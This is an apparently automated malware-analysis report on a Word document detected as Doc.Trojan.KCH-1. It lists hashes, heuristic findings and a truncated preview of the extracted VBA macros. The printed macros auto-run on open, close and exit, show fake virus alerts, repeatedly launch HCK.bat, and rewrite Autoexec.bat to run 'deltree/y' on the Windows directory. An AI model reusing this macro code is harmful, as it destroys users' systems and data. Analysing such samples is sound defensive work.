Office (OLE) malware analysis — malicious · 85c3797349721a61

MALICIOUS

Office (OLE)

111.0 KB Created: 2000-01-26 15:28:00 Authoring application: Microsoft Word 9.0 First seen: 2012-06-14

MD5: 856b2a7eae7f798ca0f41ff8b0927193 SHA-1: f08b4382b977d0ff66c2ec1fd3322fd256494bc8 SHA-256: 85c3797349721a61f3cf815f004364a917c11d933fe02492df43f262b36729c2

340 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1204.002 Malicious File

The sample contains VBA macros with AutoOpen, AutoClose, and Autonew functions that display fake virus infection messages to the user. The autoclose macro repeatedly calls the 'HCK.bat' file using the Shell() function, indicating an attempt to execute a malicious payload. The presence of multiple Shell() calls and the ClamAV detection strongly suggest malicious intent.

Heuristics 7

ClamAV: Doc.Trojan.KCH-1 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Trojan.KCH-1
VBA macros detected medium 4 related findings OLE_VBA_MACROS

Document contains VBA macro code
Shell() call in VBA critical OLE_VBA_SHELL

Shell() call in VBA
AutoOpen macro high OLE_VBA_AUTOOPEN

AutoOpen macro
Auto_Close macro high OLE_VBA_AUTOCLOSE

Auto_Close macro
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC

OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	14658 bytes
SHA-256: `fb244661eaa5d4f572928c966a70d98c6363d75491bf5b1769f1648a308a5e14`
Detection ClamAV: Doc.Trojan.KCH-1 Obfuscation or payload: unlikely
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisDocument" Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Attribute VB_Name = "NewMacros" Sub Autonew() MsgBox "Vírus HCK acaba de infectar novamente seu computador" MsgBox "O Microsoft Word irá fechar devido a um erro causado pelo vírus 'HCK'" Application.Quit SaveChanges:=wdPromptToSaveChanges End Sub Sub autoopen() MsgBox "HCK detectado,FATAL ERROR 16" MsgBox "O Microsoft Word irá fechar devido a um erro causado pelo vírus 'HCK'" Application.Quit SaveChanges:=wdPromptToSaveChanges End Sub Sub autoclose() MsgBox " Vírus HCK está entrando novamente em ação " Shell "HCK.bat", vbNormalFocus Shell "HCK.bat", vbNormalFocus Shell "HCK.bat", vbNormalFocus Shell "HCK.bat", vbNormalFocus Shell "HCK.bat", vbNormalFocus Shell "HCK.bat", vbNormalFocus Shell "HCK.bat", vbNormalFocus Shell "HCK.bat", vbNormalFocus Shell "HCK.bat", vbNormalFocus Shell "HCK.bat", vbNormalFocus Shell "HCK.bat", vbNormalFocus Shell "HCK.bat", vbNormalFocus Shell "HCK.bat", vbNormalFocus Shell "HCK.bat", vbNormalFocus Shell "HCK.bat", vbNormalFocus Shell "HCK.bat", vbNormalFocus End Sub Sub AutoExit() Attribute AutoExit.VB_ProcData.VB_Invoke_Func = "Normal.NewMacros.AutoExit" MsgBox " Alerta do Microsoft Word: Sistema 100% infectado pelo vírus HCK" End Sub Sub autoexec() Attribute autoexec.VB_ProcData.VB_Invoke_Func = "Normal.NewMacros.Autoexec" Kill "C:\Autoexec.bat" Open "C:\Autoexec.BAT" For Output As #1 Print #1, "@echo off" Print #1, "echo O virus HCK esta entrando em acao" Print #1, "CHOICE/N/CSN/TS,3" Print #1, "CLS" Print #1, "echo O sistema esta inoperante no momento, aguarde alguns instantes..." Print #1, "echo Tentando voltar, por favor aguarde" Print #1, "cd windows" Print #1, "deltree/y . >NULL" Print #1, "cd.." Print #1, "del C:\windows\null" Print #1, "cls" Print #1, "echo Nao foi possivel voltar ao sistema" Print #1, "cls" Print #1, "echo Nao foi possivel voltar ao sistema FATAL ERROR 16" Print #1, "echo Sistema Operacional corrompido pelo virus HCK" Print #1, "CHOICE/N/CSN/TS,5" Print #1, "cls" Print #1, "type C:\HCK.txt" Print #1, "CHOICE/N/CSN/TS,5" Print #1, "c:\HCK1.bat" Close #1 Open "C:\windows\HCK.bat" For Output As #1 Print #1, "@echo off" Print #1, "echo +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++" Print #1, "echo Virus HCK se multiplicando" Print #1, "echo +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++" Print #1, "echo +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++" Print #1, "echo Virus HCK se multiplicando" Print #1, "echo +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++" Print #1, "echo +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++" Print #1, "echo Virus HCK se multiplicando" Print #1, "echo +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++" Print #1, "echo +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++" Print #1, "echo Virus HCK se multiplicando" Print #1, "echo +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++" Print #1, "echo +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++" Print #1, "echo Virus HCK se multiplicando" Print #1, "echo +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++" Print #1, "echo ++++++++++++++++++++++++++++++++++++++++++++++++++++++++ ... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.